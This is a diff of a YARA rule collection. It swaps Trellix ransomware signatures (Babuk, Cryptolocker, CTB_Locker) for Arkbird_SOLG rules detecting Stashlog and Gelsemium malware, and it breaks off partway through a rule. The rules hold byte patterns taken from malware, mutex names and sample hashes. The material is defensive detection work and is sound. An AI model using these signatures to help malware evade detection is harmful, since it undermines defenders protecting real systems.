-		$pattern4 = {5060E373F1D3B3BB8D15C851BBFC73F60390681C488F7C0B80FC2EDBC1ED88CEA82014B9223A70EA0BB7DD0D2560A29D39381FEE7B73AE22683AE05C369918F8C5772678A9F29CEF65854238D1C2B762CC12706637154F57A9}
-		$pattern5 = {EE452560DBD5A4F46FB562C9C707C8D014BB8F1C18E4467E249F5AC69A87954F5B69650B7A759CE2DD075E99CBCBA37A9C5A0650EDF06285F8F990AF6B94FBA08E3C0B2EBDE3C155ECDB06C30F95D76695}
+		$s1 = { 41 89 d0 48 83 ec 20 4c 89 f1 31 d2 e8 cb 8c 00 00 48 83 ec 10 48 89 5c 24 20 48 8d 15 4b 03 02 00 48 c7 c1 02 00 00 80 45 31 c0 41 b9 19 01 02 00 ff 15 55 52 01 00 48 83 c4 30 89 c7 85 c0 75 5a 49 8d 46 02 48 8b 0b 48 83 ec 30 48 89 74 24 28 48 89 44 24 20 48 8d 15 4f 03 02 00 45 31 c0 45 31 c9 ff 15 1b 52 01 00 48 83 c4 30 89 c7 85 c0 75 28 66 41 c7 06 7b 00 48 83 ec 20 48 8d 15 c0 02 02 00 4c 89 f1 ff 15 17 52 01 00 4c 89 f1 e8 67 c9 00 00 48 83 c4 20 31 ff 48 8b 0b 48 83 ec 20 ff 15 d4 51 01 00 48 83 c4 20 48 8b 4d f8 48 31 e9 48 83 ec 20 e8 f0 79 00 00 48 83 c4 20 89 f8 48 89 ec }
+		$s2 = { 48 8d 0d 87 c9 01 00 48 8d 15 47 01 00 00 ff 15 1a 14 01 00 48 89 05 e3 d8 01 00 48 85 c0 0f 84 d0 00 00 00 c7 05 e8 d8 01 00 00 00 00 00 48 8d 15 d1 d8 01 00 c7 05 df d8 01 00 b8 0b 00 00 0f 28 05 80 1c 01 00 0f 29 05 b9 d8 01 00 44 8b 05 e2 c8 01 00 41 8d 48 01 89 0d d8 c8 01 00 44 89 05 b5 d8 01 00 48 89 c1 ff 15 b8 13 01 00 31 c9 ba 01 00 00 00 45 31 c0 45 31 c9 ff 15 b5 14 01 00 48 89 05 9e d8 01 00 48 85 c0 0f 84 85 00 00 00 48 b8 04 00 00 00 01 00 00 00 48 89 05 68 d8 01 00 48 8d 15 5d d8 01 00 c7 05 5f d8 01 00 00 00 00 00 48 c7 05 5c d8 01 00 00 00 00 00 48 8b 0d 39 d8 01 00 ff 15 5b 13 01 00 e8 61 01 00 00 85 c0 74 2b 48 b9 01 00 00 00 01 00 00 00 48 89 0d 25 d8 01 00 48 8d 15 1a d8 01 00 89 05 20 d8 01 00 eb 44 48 83 c4 28 48 ff 25 57 14 01 00 48 8b 0d 20 d8 01 00 ba ff ff ff ff ff 15 9d 13 01 00 e8 eb c5 ff ff 48 b8 01 00 00 00 01 00 00 00 48 89 05 e3 d7 01 00 48 8d 15 d8 d7 01 00 c7 05 da d7 01 00 00 00 00 00 48 c7 05 d7 d7 01 00 00 00 00 00 48 8b 0d b4 d7 01 00 48 83 c4 28 48 ff 25 d1 12 01 00 48 83 ec 28 83 f9 01 75 69 48 b8 03 00 00 00 01 00 00 00 48 89 05 9b d7 01 00 48 8d 15 90 d7 01 00 31 c0 89 05 94 d7 01 00 89 05 9a d7 01 00 8b 05 ac c7 01 00 8d 48 01 89 0d a3 c7 01 00 89 05 81 d7 01 00 48 8b 0d 5e d7 01 00 ff 15 80 12 01 }
+		$s3 = { 48 89 01 c7 44 24 28 00 00 00 00 c7 44 24 20 03 00 00 00 ba 00 00 00 80 41 b8 01 00 00 00 45 31 c9 ff 15 f7 59 01 00 48 83 f8 ff 0f 84 e0 01 00 00 48 89 c6 0f 57 c0 48 8d 94 24 a0 00 00 00 0f 29 42 60 0f 29 42 50 0f 29 42 40 0f 29 42 30 0f 29 42 20 0f 29 42 10 0f 29 02 48 c7 42 70 00 00 00 00 4c 8d 44 24 7c 41 c7 00 78 00 00 00 48 89 c1 ff 15 9f 59 01 00 85 c0 0f 84 d0 01 00 00 8b 84 24 dc 00 00 00 c1 e0 0d 48 8d 8c 24 98 00 00 00 48 89 4c 24 38 89 44 24 20 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 48 89 f1 31 d2 45 31 c0 45 31 c9 ff 15 53 59 01 00 85 }
+		$s4 = { c6 00 00 48 ff c0 48 83 ec 20 48 89 f9 48 89 c2 ff 15 8e 19 01 00 48 8d 15 a9 cd 01 00 48 89 d9 ff 15 86 19 01 00 48 89 d9 ff 15 55 19 01 00 48 }
+		$s5 = "Global\\APCI#" fullword wide
+		$s6 = "uGlobal\\HVID_" fullword ascii
 
 	condition:
-		filesize >=45KB and filesize <=70KB and all of ($s*) and 4 of ($pattern*)
+		uint16(0)==0x5A4D and filesize >20KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_RANSOM_Babuk_Packed_Feb2021 : RANSOM T1027_005 T1027 T1083 T1082 T1059 T1129 FILE
+rule ARKBIRD_SOLG_MAL_Stashlog_Sep_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Babuk Locker packed"
-		author = "McAfee ATR"
-		id = "f5f3a3a6-2531-56c4-9153-b698c7bdc3d3"
-		date = "2021-02-19"
-		modified = "2021-02-24"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Babuk_Packed_Feb2021.yar#L1-L30"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "48e0f7d87fe74a2b61c74f0d32e6a8a5"
-		logic_hash = "f3312b9c9147e9f892dbfb329cb95d3ee3ae67eefeec2d089b8c89fd26531953"
-		score = 75
-		quality = 70
-		tags = "RANSOM, T1027.005, T1027, T1083, T1082, T1059, T1129, FILE"
-		rule_version = "v1"
-		malware_family = "Ransom:Win/Babuk"
-		malware_type = "Ransom"
-		mitre_attack = "T1027.005, T1027, T1083, T1082, T1059, T1129"
+		description = "Detect Stashlog malware"
+		author = "Arkbird_SOLG"
+		id = "a6ae59df-c45a-5a31-8530-4fd7f0f33f93"
+		date = "2021-09-01"
+		modified = "2021-09-05"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_Stashlog_Sep_2021_1.yara#L1-L21"
+		license_url = "N/A"
+		logic_hash = "6bde398a0f13674e72fcbd9809d22773bc1fe699f7c187775740d50910b07d5b"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397"
+		hash2 = "869165044402a5f82f4cb8ddd51663ebb05f86345f346f765dcc54b20706cf7c"
+		level = "experimental"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$first_stage1 = { 81 ec 30 04 00 00 68 6c 49 43 00 ff 15 74 20 43 00 a3 60 4e f8 02 b8 db d9 2b 00 ba c5 62 8e 76 b9 35 11 5f 39 eb 09 8d a4 24 00 00 00 00 8b ff 89 14 24 89 4c 24 04 81 04 24 25 10 a3 3b 81 04 24 cf e0 fb 07 81 04 24 35 26 9f 42 81 04 24 65 2b 39 06 81 04 24 3c 37 33 5b 81 44 24 04 48 4f c2 5d 83 e8 01 c7 05 54 4e f8 02 00 00 00 00 75 bf 8b 0d 54 aa 43 00 53 8b 1d 58 20 43 00 55 8b 2d 60 20 43 00 56 81 c1 01 24 0a 00 57 8b 3d 50 20 43 00 89 0d 64 4e f8 02 33 f6 eb 03 8d 49 00 81 f9 fc 00 00 00 75 08 6a 00 ff 15 40 20 43 00 6a 00 ff d7 8b 0d 64 4e f8 02 81 f9 7c 0e 00 00 75 19 6a 00 ff d3 6a 00 6a 00 8d 44 24 48 50 6a 00 6a 00 ff d5 8b 0d 64 4e f8 02 81 fe e5 84 c1 09 7e 0a 81 7c 24 2c 0f 11 00 00 75 12 46 8b c6 99 83 fa 14 7c aa 7f 07 3d 30 c1 cf c7 72 a1 51 6a 00 ff 15 2c 20 43 00 8b 0d 08 a4 43 00 33 f6 a3 f4 31 f8 02 89 0d f4 07 fb 02 39 35 64 4e f8 02 76 10 8b c6 e8 56 e4 ff ff 46 3b 35 64 4e f8 02 72 f0 8b 35 80 20 43 00 bf f0 72 e9 00 8b ff 81 3d 64 4e f8 02 4d 09 00 00 75 04 6a 00 ff d6 83 ef 01 75 eb e8 d6 e3 ff ff e8 11 fe ff ff e8 0c e4 ff ff 5f 5e 5d 33 c0 5b 81 c4 30 04 00 00 c3 }
-		$first_stage2 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????eb??891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????75??8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6eb??81??????????75??6a??ff??????????6a??ffd78b??????????81??????????75??6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????7e??817c242c0f11????75??468bc69983????7c??7f??3d????????72??516a??ff??????????8b??????????33f6a3????????89??????????39??????????76??8bc6e8????????463b??????????72??8b??????????bf????????8bff81??????????????????75??6a??ffd683ef0175??e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3}
-		$first_stage3 = {81ec3??4????68????????ff??????????a3????????b8????????ba????????b9????????[2-6]891424894c240481????????????81????????????81????????????81????????????81????????????81??????????????83e801c7??????????????????[2-6]8b??????????538b??????????558b??????????5681??????????578b??????????89??????????33f6[2-6]81??????????[2-6]6a??ff??????????6a??ffd78b??????????81??????????[2-6]6a??ffd36a??6a??8d442448506a??6a??ffd58b??????????81??????????[2-6]817c242c0f11????[2-6]468bc69983????[2-6][2-6]3d????????[2-6]516a??ff??????????8b??????????33f6a3????????89??????????39??????????[2-6]8bc6e8????????463b??????????[2-6]8b??????????bf????????8bff81??????????????????[2-6]6a??ffd683ef01[2-6]e8????????e8????????e8????????5f5e5d33c05b81c43??4????c3}
-		$first_stage4 = { 81 EC 30 04 00 00 68 6C 49 43 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? B8 DB D9 2B 00 BA C5 62 8E 76 B9 35 11 5F 39 EB ?? 8D A4 24 ?? ?? ?? ?? 8B FF 89 14 24 89 4C 24 ?? 81 04 24 25 10 A3 3B 81 04 24 CF E0 FB 07 81 04 24 35 26 9F 42 81 04 24 65 2B 39 06 81 04 24 3C 37 33 5B 81 44 24 ?? 48 4F C2 5D 83 E8 01 C7 05 ?? ?? ?? ?? 00 00 00 00 75 ?? 8B 0D ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 55 8B 2D ?? ?? ?? ?? 56 81 C1 01 24 0A 00 57 8B 3D ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 33 F6 EB ?? 8D 49 ?? 81 F9 FC 00 00 00 75 ?? 6A 00 FF 15 ?? ?? ?? ?? 6A 00 FF D7 8B 0D ?? ?? ?? ?? 81 F9 7C 0E 00 00 75 ?? 6A 00 FF D3 6A 00 6A 00 8D 44 24 ?? 50 6A 00 6A 00 FF D5 8B 0D ?? ?? ?? ?? 81 FE E5 84 C1 09 7E ?? 81 7C 24 ?? 0F 11 00 00 75 ?? 46 8B C6 99 83 FA 14 7C ?? 7F ?? 3D 30 C1 CF C7 72 ?? 51 6A 00 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 33 F6 A3 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? 39 35 ?? ?? ?? ?? 76 ?? 8B C6 E8 ?? ?? ?? ?? 46 3B 35 ?? ?? ?? ?? 72 ?? 8B 35 ?? ?? ?? ?? BF F0 72 E9 00 8B FF 81 3D ?? ?? ?? ?? 4D 09 00 00 75 ?? 6A 00 FF D6 83 EF 01 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5D 33 C0 5B 81 C4 30 04 00 00 C3}
-		$files_encryption1 = { 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 20 81 40 00 }
-		$files_encryption2 = {8a4602c1e90288470283ee0283ef0283????72??fdf3a5fcff????????????}
-		$files_encryption3 = { 8A 46 ?? C1 E9 02 88 47 ?? 83 EE 02 83 EF 02 83 F9 08 72 ?? FD F3 A5 FC FF 24 95 ?? ?? ?? ??}
+		$s1 = "497E724A7BA2764BB4570B225601FB693A796873E7847DB943F7FE9E7281C91A443DF1F8519CBB25FC736CC65BF3DE67A82E704BEB698E17" fullword ascii
+		$s2 = { 50 83 ec 0c 89 e0 31 c9 89 48 04 89 08 89 48 0c 89 48 08 50 ff 15 1c b2 42 00 c7 05 38 ac 44 00 01 00 00 00 50 83 ec 0c 89 e7 81 ec 04 01 00 00 31 c0 89 e3 89 47 04 89 07 89 47 0c 89 47 08 57 ff 15 1c b2 42 00 ff 25 64 5f 43 00 ff 25 6c 5f 43 00 0f b6 4f 0e 0f b6 47 0f 0f b6 57 0d 89 4d dc 0f b6 4f 0c 89 45 d8 89 55 e0 89 4d e4 ff 25 7c 5f 43 00 8b 4d f0 31 f6 46 31 e9 e8 94 48 01 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 ff 25 34 5f 43 00 0f 10 05 08 30 43 00 0f 10 0d 18 30 43 00 a0 28 30 43 00 8a 15 29 30 43 00 8a 0d 2a 30 43 00 0f 57 05 80 b2 42 00 0f 57 0d 90 b2 42 00 34 e9 80 f2 10 80 f1 b3 0f 11 }
+		$s3 = { 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 31 c0 66 c7 84 24 ae 00 00 00 3a 00 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 ff 25 e8 a9 43 00 89 c7 31 c0 83 ff ff 0f 94 c0 ff 24 85 ec a9 43 00 c7 44 24 1c 00 00 00 00 ff 25 28 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f 29 44 24 60 0f 29 44 24 50 0f 29 44 24 40 0f 29 44 24 30 ff 25 30 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f }
+		$s4 = { a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 ff 25 68 1f 44 00 89 cb ff 25 70 1f 44 00 31 c9 85 c0 8b 06 8b 5e 0c 0f }
+		$s5 = { 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 89 c6 ff 25 70 b7 43 00 ff 37 ff 15 0c b0 42 00 8b 4d f0 31 e9 e8 a9 f6 00 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 ff 25 48 b7 43 00 55 }
 
 	condition:
-		filesize <=300KB and any of ($first_stage*) and any of ($files_encryption*)
+		uint16(0)==0x5A4D and filesize >20KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_Cryptolocker_Set1 : RANSOMWARE
+rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_2 : FILE
 {
 	meta:
-		description = "Detection of Cryptolocker Samples"
-		author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
-		id = "13ccc6d3-c2cc-59ac-81af-ec11fb78cd41"
-		date = "2014-04-13"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Cryptolocker.yar#L1-L40"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "5be8d077537a59d860a972392be186d2697e55778f750d03b0fd3b0a73f714d9"
+		description = "Detect Gelsenicine malware (Loader - Variant 2)"
+		author = "Arkbird_SOLG"
+		id = "c6e28da2-622b-57ba-9381-9f8f6b8879bf"
+		date = "2021-06-12"
+		modified = "2021-06-14"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_2.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "e1d6402c743af697c8d1b34087b6fe9db80237834d73967b0a0638023d4e4a40"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Cryptolocker"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "6eaeca0cf28e74de6cfd82d29a3c3cc30c2bc153ac811692cc41ee290d766474"
+		hash1 = "d986207bc108e55f4b110ae208656b415d2c5fcc8f99f98b4b3985e82b9d5e5b"
+		hash1 = "ec491de0e2247f64b753c4ef0c7227ea3548c2f222b547528dae0cf138eca53a"
+		tlp = "white"
+		adversary = "Gelsemium"
 
 	strings:
-		$string0 = "static"
-		$string1 = " kscdS"
-		$string2 = "Romantic"
-		$string3 = "CompanyName" wide
-		$string4 = "ProductVersion" wide
-		$string5 = "9%9R9f9q9"
-		$string6 = "IDR_VERSION1" wide
-		$string7 = "  </trustInfo>"
-		$string8 = "LookFor" wide
-		$string9 = ":n;t;y;"
-		$string10 = "        <requestedExecutionLevel level"
-		$string11 = "VS_VERSION_INFO" wide
-		$string12 = "2.0.1.0" wide
-		$string13 = "<assembly xmlns"
-		$string14 = "  <trustInfo xmlns"
-		$string15 = "srtWd@@"
-		$string16 = "515]5z5"
-		$string17 = "C:\\lZbvnoVe.exe" wide
+		$s1 = { 48 53 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 8b d9 c7 44 24 40 00 00 00 00 8b 05 [3] 00 a8 01 0f 85 96 00 00 00 83 c8 01 89 05 [3] 00 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 48 8d 0d [2] 00 00 e8 [2] 00 00 90 48 c7 43 08 00 00 00 00 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 4c 8d 0d [3] 00 4c 8d 05 [3] 00 33 d2 48 8b cb e8 86 f9 ff ff 48 8b c3 48 83 c4 30 }
+		$s2 = { 54 00 65 00 6d 00 70 00 2f 00 00 00 00 00 00 00 43 00 6f 00 6d 00 6d 00 6f 00 6e 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 2f 00 00 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 2f 00 00 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f }
+		$s3 = { 48 8b ca e8 [3] 00 48 39 5e 08 75 05 48 8b c3 eb 08 48 8b 46 10 48 2b 46 08 3b c3 0f 4c c3 48 63 c8 e8 [3] 00 48 89 47 08 48 8b 56 10 48 8b 4e 08 4c 8b d8 eb 10 4c 3b db 74 05 8a 01 41 88 03 49 ff c3 48 ff c1 48 3b ca 75 eb 4c 89 5f 10 4c 89 5f 18 48 8b c7 48 83 c4 20 5f 5e }
+		$s4 = { 45 33 c9 45 33 c0 ba 80 00 00 00 48 8b ce e8 16 f2 ff ff 84 c0 74 71 48 8d 53 18 41 b8 20 00 00 00 48 8b ce e8 e4 f4 ff ff 84 c0 74 5b 48 8d 53 38 41 b8 20 00 00 00 48 8b ce e8 56 f9 ff ff 84 c0 74 45 48 8b 43 10 48 8b 0d [3] 00 48 3b c1 74 0d 48 8b d8 48 8b 00 48 3b c1 75 f5 eb 1b 48 8b 43 08 eb 07 48 8b d8 48 8b 40 08 48 3b 58 10 74 f3 48 39 43 10 48 0f }
 
 	condition:
-		12 of ($string*)
+		uint16(0)==0x5a4d and filesize >30KB and 3 of ($s*)
 }
-rule TRELLIX_ARC_Cryptolocker_Rule2 : RANSOMWARE
+rule ARKBIRD_SOLG_APT_Gelsemium_Gelsemine_June_2021_1 : FILE
 {
 	meta:
-		description = "Detection of CryptoLocker Variants"
-		author = "Christiaan Beek, Christiaan_Beek@McAfee.com"
-		id = "a6e808ef-4f60-5592-9440-69309784efb1"
-		date = "2014-04-14"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Cryptolocker.yar#L42-L79"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "e8e03516cc0b669000c8d6b443be7a5f7a8b904abba98fd3c7d4f038de6741ab"
+		description = "Detect Gelsemine malware (Dropper - Variant 1)"
+		author = "Arkbird_SOLG"
+		id = "cfe932fd-ff50-5e54-824c-e11afe8e8575"
+		date = "2021-06-12"
+		modified = "2021-06-14"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsemine_June_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "2b5031412de163ad92dfe00c7da331eb36c4ce7b590df48dfa84df0104e93b15"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Cryptolocker"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "00b701e3ef29912c1fcd8c2154c4ae372cfe542cfa54ffcce9fb449883097cec"
+		hash2 = "109d4b8878b8c8f3b7015f6b3ae573a6799296becce0f32ca3bd216bee0ab473"
+		hash3 = "fe71b66d65d5ff9d03a47197c99081d9ec8d5f6e95143bdc33f5ea2ac0ae5762"
+		hash3 = "29e78ca3cb49dd2985a29e74cafb1a0a15515670da0f4881f6095fb2926bfefd"
+		tlp = "white"
+		adversary = "Gelsemium"
 
 	strings:
-		$string0 = "2.0.1.7" wide
-		$string1 = "    <security>"
-		$string2 = "Romantic"
-		$string3 = "ProductVersion" wide
-		$string4 = "9%9R9f9q9"
-		$string5 = "IDR_VERSION1" wide
-		$string6 = "button"
-		$string7 = "    </security>"
-		$string8 = "VFileInfo" wide
-		$string9 = "LookFor" wide
-		$string10 = "      </requestedPrivileges>"
-		$string11 = " uiAccess"
-		$string12 = "  <trustInfo xmlns"
-		$string13 = "last.inf"
-		$string14 = " manifestVersion"
-		$string15 = "FFFF04E3" wide
-		$string16 = "3,31363H3P3m3u3z3"
+		$s1 = { 8b 44 24 04 83 ec 40 85 c0 53 55 56 57 0f 84 ec 15 00 00 8b 58 1c 85 db 0f 84 e1 15 00 00 8b 48 0c 85 c9 0f 84 d6 15 00 00 83 38 00 75 0b 8b 48 04 85 c9 0f 85 c6 15 00 00 83 3b 0b 75 06 c7 03 0c 00 00 00 8b 48 0c 8b 30 8b 78 04 8b 53 38 8b 6b 3c 89 4c 24 28 8b 48 10 8b 03 83 f8 1e 89 4c 24 20 89 74 24 14 89 7c 24 18 89 54 24 10 89 7c 24 38 89 4c 24 2c c7 44 24 34 00 00 00 }
+		$s2 = { 33 c0 33 d2 8a 06 8a 56 01 03 c8 33 c0 8a 46 02 03 f9 03 ca 33 d2 8a 56 03 03 f9 03 c8 33 c0 8a 46 04 03 f9 03 ca 33 d2 8a 56 05 03 f9 03 c8 33 c0 8a 46 06 03 f9 03 ca 33 d2 8a 56 07 03 f9 03 c8 33 c0 8a 46 08 03 f9 03 ca 33 d2 8a 56 09 03 f9 03 c8 33 c0 8a 46 0a 03 f9 03 ca 33 d2 8a 56 0b 03 f9 03 c8 33 c0 8a 46 0c 03 f9 03 ca 33 d2 8a 56 0d 03 f9 03 c8 33 c0 8a 46 0e 03 f9 03 ca 33 d2 8a 56 0f 03 f9 03 c8 83 c6 10 03 f9 03 ca 03 f9 4d 0f 85 67 ff ff ff 8b c1 33 d2 b9 f1 ff 00 00 f7 f1 8b c7 bf f1 ff 00 00 8b ca 33 d2 f7 f7 ff 4c 24 18 8b fa 0f 85 38 ff ff ff 85 db 0f 84 da 00 00 00 83 fb 10 0f 82 a1 00 00 00 8b eb c1 ed 04 33 d2 33 c0 8a 16 8a 46 01 03 ca 33 d2 8a 56 02 03 f9 03 c8 33 c0 8a 46 03 03 f9 03 ca 33 d2 8a 56 04 03 f9 03 c8 33 c0 8a 46 05 03 f9 03 ca 33 d2 8a 56 06 03 f9 03 c8 33 c0 8a 46 07 03 f9 03 ca 33 d2 8a 56 08 03 f9 03 c8 33 c0 8a 46 09 03 f9 03 ca 33 d2 8a 56 0a 03 f9 03 c8 33 c0 8a 46 0b 03 f9 03 ca 33 d2 8a 56 0c 03 f9 03 c8 33 c0 8a 46 0d 03 f9 03 ca 33 d2 8a 56 0e 03 f9 03 c8 33 c0 8a 46 0f 03 f9 03 ca 83 eb 10 03 f9 03 c8 03 f9 83 c6 10 }
+		$s3 = { 55 8b ec 6a ff 68 [2] 40 00 68 [2] 40 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 68 53 56 57 89 65 e8 33 db 89 5d fc 6a 02 5f 57 ff 15 [2] 40 00 59 83 0d [2] 41 00 ff 83 0d [2] 41 00 ff ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 a1 [2] 40 00 8b 00 a3 [2] 41 00 e8 ?? 01 00 00 39 1d [3] 00 75 0c 68 [2] 40 00 ff 15 [2] 40 00 59 e8 ?? 01 00 00 68 [3] 00 68 [3] 00 e8 ?? 01 00 00 a1 [2] 41 00 89 45 94 8d 45 94 50 ff 35 [2] 41 00 8d 45 9c 50 8d 45 90 50 8d 45 a0 50 ff 15 [2] 40 00 68 [3] 00 68 00 [2] 00 e8 ?? 01 00 00 83 c4 24 a1 [2] 40 00 8b 30 3b }
 
 	condition:
-		12 of ($string*)
+		uint16(0)==0x5a4d and filesize >150KB and all of ($s*)
 }
-rule TRELLIX_ARC_Backdoorfckg : CTB_LOCKER_RANSOMWARE RANSOMWARE
+rule ARKBIRD_SOLG_APT_Gelsemium_Gelsevirine_June_2021_1 : FILE
 {
 	meta:
-		description = "CTB_Locker"
-		author = "ISG"
-		id = "2a00551d-1f80-5991-9416-d9b1b39db8e9"
-		date = "2015-01-20"
-		modified = "2020-08-14"
-		reference = "https://blogs.mcafee.com/mcafee-labs/rise-backdoor-fckq-ctb-locker"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_CTBLocker.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "a334b07053db66aa0fb2d2b2ca7f94c480509041724ddd4dd1708052d75baffb"
+		description = "Detect Gelsevirine malware (Main Plug-in)"
+		author = "Arkbird_SOLG"
+		id = "31900186-2531-5558-aafb-67707040ddaf"
+		date = "2021-06-12"
+		modified = "2021-06-14"
+		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsevirine_June_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "06e7ee49092621c8469eeb1cd9e5cc1420a1879084e0d0a39181dc046bfa00cf"
 		score = 75
-		quality = 20
